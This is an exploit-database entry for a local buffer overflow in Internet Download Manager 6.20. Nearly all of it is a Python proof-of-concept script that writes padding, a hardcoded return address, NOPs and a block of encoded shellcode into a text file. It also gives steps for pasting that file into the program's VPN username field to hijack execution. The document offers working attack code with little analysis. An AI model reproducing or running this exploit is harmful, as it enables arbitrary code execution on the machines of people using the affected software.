Internet Download Manager 6.20 Local Buffer Overflow

2015.03.28
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-119

#!/usr/bin/env python #[+] Author: TUNISIAN CYBER #[+] Exploit Title: IDM v6.20 Local Buffer Overflow #[+] Date: 27-03-2015 #[+] Type: Local Exploits #[+] Tested on: WinXp/Windows 7 Pro #[+] Vendor: https://www.internetdownloadmanager.com/ #[+] Friendly Sites: sec4ever.com #[+] Twitter: @TCYB3R #[+] Poc:http://i.imgur.com/7et4xSh.png #[+] Create IDMLBOF.txt then open , copy the content then go to Options-VPN/Dial Up and paste it in the username field. from struct import pack file="IDMLBOF.txt" junk="\x41"*2313 eip = pack('<I',0x7C9D30D7) nops = "\x90" * 3 shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e\x58\x31\x78" "\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3" "\xb4\xae\x7d\x02\xaa\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b\xf0\x27\xdd\x48\xfd" "\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8" "\x3b\x83\x8e\x83\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98\xf5" "\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61\xb6\x0e\x2f\x85\x19\x87" "\xb7\x78\x2f\x59\x90\x7b\xd7\x05\x7f\xe8\x7b\xca") writeFile = open (file, "w") writeFile.write(junk+eip+nops+shellcode) writeFile.close()


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